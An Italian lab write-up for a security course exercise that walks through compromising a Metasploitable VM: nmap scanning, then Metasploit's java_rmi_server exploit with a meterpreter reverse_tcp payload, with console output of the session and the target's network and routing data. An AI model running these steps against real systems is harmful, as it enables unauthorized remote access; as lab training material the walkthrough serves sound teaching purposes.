

# ESERCIZIO S7/L5

```

(davide@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:fecc:b4c5 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:cc:b4:c5 txqueuelen 1000 (Ethernet)
    RX packets 3079 bytes 248349 (242.5 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4063 bytes 300180 (293.1 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 958 bytes 114492 (111.8 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 958 bytes 114492 (111.8 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

```

```

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:6f:3e:37
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe6f:3e37/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:89 errors:0 dropped:0 overruns:0 frame:0
          TX packets:72 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:5696 (5.5 KB)  TX bytes:4844 (4.7 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:123 errors:0 dropped:0 overruns:0 frame:0
          TX packets:123 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:24181 (23.6 KB)  TX bytes:24181 (23.6 KB)

msfadmin@metasploitable:~$

```

# ATTACCO META VULERABILITA' AL SERVIZIO JAVA\_RMI

L'esercizio ci chiede di effettuare un attacco a Meta con metasploit utilizzando la vulnerabilità java\_rmi e ottenere la configurazione di rete enrouting tables della macchina attaccata.

Prima di lanciare il comando bisogna modificare gli indirizzi IP delle due macchine (kali, Metasploit).

Con il comando : `sudo nano /etc/network/interfaces`

KALI: 192.168.11.111

META: 192.168.11.112

# ATTACCO A META VULNERABILITA' AL SERVIZIO JAVA\_RMI

- Dopo la configurazione degli IP sulle due macchine, verifichiamo che le macchine comunicano .
- Comando: ping 192.168.11.112

```
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=4.81 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.201 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.257 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.255 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=0.204 ms
64 bytes from 192.168.11.112: icmp_seq=6 ttl=64 time=0.263 ms
64 bytes from 192.168.11.112: icmp_seq=7 ttl=64 time=0.353 ms
64 bytes from 192.168.11.112: icmp_seq=8 ttl=64 time=0.172 ms
^C
— 192.168.11.112 ping statistics —
8 packets transmitted, 8 received, 0% packet loss, time 7076ms
rtt min/avg/max/mdev = 0.172/0.814/4.809/1.510 ms
```

# ATTACCO A META VULNERABILITA' AL SERVIZIO JAVA\_RMI

- Successivamente per effettuare il nostro attacco eseguiamo un port scan della macchina bersaglio per verificare che il servizio java\_rmi sia attivo e in quale porta sia in ascolto.
- Per fare tutto ciò utilizziamo nmap.
- Comando: `nmap -sV -T5 192.168.11.112`
- Tra i vari servizi visualizziamo sulla porta 1099 il servizio java\_rmi.

```
(davide@kali)-[~]
$ nmap -sV -T5 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-0
Nmap scan report for 192.168.11.112
Host is up (0.00018s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu
23/tcp    open  telnet?
25/tcp    open  smtp?
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workg
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workg
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  shell?
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql?
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3
8180/tcp  open  http         Apache Tomcat/Coyote JSP en
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix,

Service detection performed. Please report any incorrec
Nmap done: 1 IP address (1 host up) scanned in 192.85 s
```

# ATTACCO A META VULNERABILITA' AL SERVIZIO JAVA\_RMI

- Apriamo metasploit sulla macchina kali con il comando "msfconsole" e successivamente cerchiamo il modulo exploit per java\_rmi con il comando "search java\_rmi".
- Ci restituisce 4 risultati e andremo a selezionare con "use 1" il servizio scelto.

```
search javmsf6 > search java_rmi
```

```
Matching Modules
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

```
Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl
```

```
msf6 > use 1
```

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

```
msf6 exploit(multi/misc/java_rmi_server) > show option
```



```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  --
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112

```

## ATTACCO A META VULNERABILITA' AL SERVIZIO JAVA\_RMI

- Con il comando "show Options" iniziamo a configurare i parametri di attacco.
- Configuriamo il bersaglio con il comando "set RHOSTS 192.168.11.112"
- Il comando ci dà la possibilità di impostare l'indirizzo ip di meta come bersaglio.

# ATTACCO A META VULNERABILITA' AL SERVIZIO JAVA\_RMI

L'attacco è configurato.

Lanciamo il comando "exploit".

Si è attivata una sessione  
meterpreter all'interno della  
macchina bersaglio.

```
msf6 exploit(multi/misc/java_rmi_server) > set payload 16
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > rerun
[*] Reloading module ...

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/lJcsylM4
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:55758) at 2024-03-08 11:52:41 +0100
```

## ATTACCO A META VULNERABILITA' AL SERVIZIO JAVA\_RMI

- Lanciando il comando "Ifconfig" visualizziamo le configurazioni di rete della macchina bersaglio.
- Con il comando "route" acquisiamo informazioni riguardo le routing tables.

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo
Hardware MAC : 00:00:00:00:00:00
MTU        : 16436
Flags      : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
-----
Name       : eth0
Hardware MAC : 08:00:27:6f:3e:37
MTU        : 1500
Flags      : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe6f:3e37
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

meterpreter > route

IPv4 network routes
-----
Subnet      Netmask      Gateway      Metric  Interface
-----
0.0.0.0     0.0.0.0      192.168.11.1 100     eth0
192.168.11.0 255.255.255.0 0.0.0.0      0       eth0

No IPv6 routes were found.
```